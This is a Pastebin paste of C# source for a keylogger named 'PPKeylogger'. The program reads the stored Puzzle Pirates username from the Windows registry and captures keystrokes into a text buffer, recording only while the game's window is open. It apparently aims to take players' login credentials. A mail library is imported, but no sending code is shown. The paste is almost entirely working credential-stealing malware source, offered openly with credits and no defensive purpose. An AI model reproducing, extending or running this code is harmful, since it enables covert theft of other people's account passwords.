Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using System.IO;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Diagnostics;
- using System.Net.Mail;
- using Microsoft.Win32;
- namespace PPKeylogger
- {
- public partial class Form1 : Form
- {
- [DllImport("user32.dll")]
- public static extern int FindWindow(string lpClassName, string lpWindowName);
- delegate void SetTextCallback(int key, bool iscaps, bool isshift);
- private KeyClass KeyClass;
- private bool IsDisabled = false;
- private string KBText = "";
- private string CPInfo = "";
- private string PPRegistry = (string)Registry.GetValue(@"HKEY_CURRENT_USER\Software\JavaSoft\Prefs\rsrc\config\yohoho\client", "username", null);
- public Form1()
- {
- InitializeComponent();
- KeyClass = new KeyClass();
- KeyClass.displayinfodelegate += new KeyClass.DisplayInfoDelegate(KeyClass_Set);
- KeyClass.StartCaptureKey();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- if (PPRegistry != null)
- {
- System.Console.Write("The last typed username was: " + PPRegistry + "\n");
- }
- }
- void KeyClass_Set(int key, bool iscaps, bool isshift)
- {
- try
- {
- SetTextCallback d = new SetTextCallback(CaptureKeys);
- this.Invoke(d, key, iscaps, isshift);
- }
- catch { }
- }
- private void CaptureKeys(int key, bool iscaps, bool isshift)
- {
- if (IsDisabled)
- {
- return;
- }
- string str_key = "";
- if (key == (int)System.Windows.Forms.Keys.D1 || key == (int)System.Windows.Forms.Keys.NumPad1)
- {
- if (!isshift)
- {
- str_key = "1";
- }
- else
- {
- str_key = "!";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D2 || key == (int)System.Windows.Forms.Keys.NumPad2)
- {
- if (!isshift)
- {
- str_key = "2";
- }
- else
- {
- str_key = "@";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D3 || key == (int)System.Windows.Forms.Keys.NumPad3)
- {
- if (!isshift)
- {
- str_key = "3";
- }
- else
- {
- str_key = "#";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D4 || key == (int)System.Windows.Forms.Keys.NumPad4)
- {
- if (!isshift)
- {
- str_key = "4";
- }
- else
- {
- str_key = "$";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D5 || key == (int)System.Windows.Forms.Keys.NumPad5)
- {
- if (!isshift)
- {
- str_key = "5";
- }
- else
- {
- str_key = "%";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D6 || key == (int)System.Windows.Forms.Keys.NumPad6)
- {
- if (!isshift)
- {
- str_key = "6";
- }
- else
- {
- str_key = "^";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D7 || key == (int)System.Windows.Forms.Keys.NumPad7)
- {
- if (!isshift)
- {
- str_key = "7";
- }
- else
- {
- str_key = "&";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D8 || key == (int)System.Windows.Forms.Keys.NumPad8)
- {
- if (!isshift)
- {
- str_key = "8";
- }
- else
- {
- str_key = "*";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D9 || key == (int)System.Windows.Forms.Keys.NumPad9)
- {
- if (!isshift)
- {
- str_key = "9";
- }
- else
- {
- str_key = "(";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.D0 || key == (int)System.Windows.Forms.Keys.NumPad0)
- {
- if (!isshift)
- {
- str_key = "0";
- }
- else
- {
- str_key = ")";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Oemcomma)
- {
- if (!isshift)
- {
- str_key = ",";
- }
- else
- {
- str_key = "<";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemPeriod)
- {
- if (!isshift)
- {
- str_key = ".";
- }
- else
- {
- str_key = ">";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemSemicolon)
- {
- if (!isshift)
- {
- str_key = ";";
- }
- else
- {
- str_key = ":";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemQuotes)
- {
- if (!isshift)
- {
- str_key = "'";
- }
- else
- {
- str_key = '"'.ToString();
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemOpenBrackets)
- {
- if (!isshift)
- {
- str_key = "[";
- }
- else
- {
- str_key = "{";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemCloseBrackets)
- {
- if (!isshift)
- {
- str_key = "]";
- }
- else
- {
- str_key = "}";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemMinus)
- {
- if (!isshift)
- {
- str_key = "-";
- }
- else
- {
- str_key = "_";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Oemplus)
- {
- if (!isshift)
- {
- str_key = "=";
- }
- else
- {
- str_key = "+";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemBackslash)
- {
- if (!isshift)
- {
- str_key = @"\";
- }
- else
- {
- str_key = "|";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Oemtilde)
- {
- if (!isshift)
- {
- str_key = "`";
- }
- else
- {
- str_key = "~";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.OemQuestion)
- {
- if (!isshift)
- {
- str_key = "/";
- }
- else
- {
- str_key = "?";
- }
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Multiply)
- {
- str_key = "*";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Add)
- {
- str_key = "+";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Subtract)
- {
- str_key = "-";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Divide)
- {
- str_key = "/";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == 110)
- {
- str_key = ".";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Enter)
- {
- str_key = "\n";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Space)
- {
- str_key = " ";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (key == (int)System.Windows.Forms.Keys.Back)
- {
- str_key = "[bs]";
- KBText += str_key;
- CPInfo = KBText;
- return;
- }
- if (!System.Char.IsLetterOrDigit(Convert.ToChar(key)))
- {
- return;
- }
- if (iscaps && isshift)
- {
- KBText += Convert.ToChar(key).ToString().ToLower();
- }
- else if (iscaps || isshift)
- {
- KBText += Convert.ToChar(key).ToString().ToUpper();
- }
- else
- {
- KBText += Convert.ToChar(key).ToString().ToLower();
- }
- CPInfo = KBText;
- System.Console.Write("The last typed keystroke was: " + CPInfo + "\n");
- }
- private void timer1_Tick(object sender, EventArgs e)
- {
- if (FindWindow("SunAwtFrame", "Puzzle Pirates") > 0)
- {
- IsDisabled = false;
- }
- else
- {
- IsDisabled = true;
- }
- }
- }
- }
- // Credits to Andrew (Shrooms/Goomba)
Advertisement
Add Comment
Please, Sign In to add comment